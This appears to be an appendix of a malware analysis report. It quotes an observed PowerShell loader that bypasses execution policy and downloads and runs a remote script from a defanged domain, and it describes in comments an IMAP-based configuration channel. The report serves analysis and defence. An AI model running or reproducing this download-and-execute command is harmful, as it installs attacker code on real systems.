Appendix B — PowerShell Snippets (Defanged)

Observed Malicious Loader Command (Do NOT Execute)
—————————————————————-
powershell.exe -ep bypass “[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12;iex ((New-Object Net.WebClient).DownloadString(‘https://miportuarios[.]com/sisti/api.ps1’))”

IMAP Bootstrap (Mailbox as Config Channel)
—————————————————————-
# Opens TLS IMAP to imap.terra.com.br:993, logs in, searches subject “data”, fetches latest body.
# Shown here for analysis context only; do NOT run in production.
# (The original script uses TcpClient + SslStream and raw IMAP commands: LOGIN/SELECT/SEARCH/FETCH.)
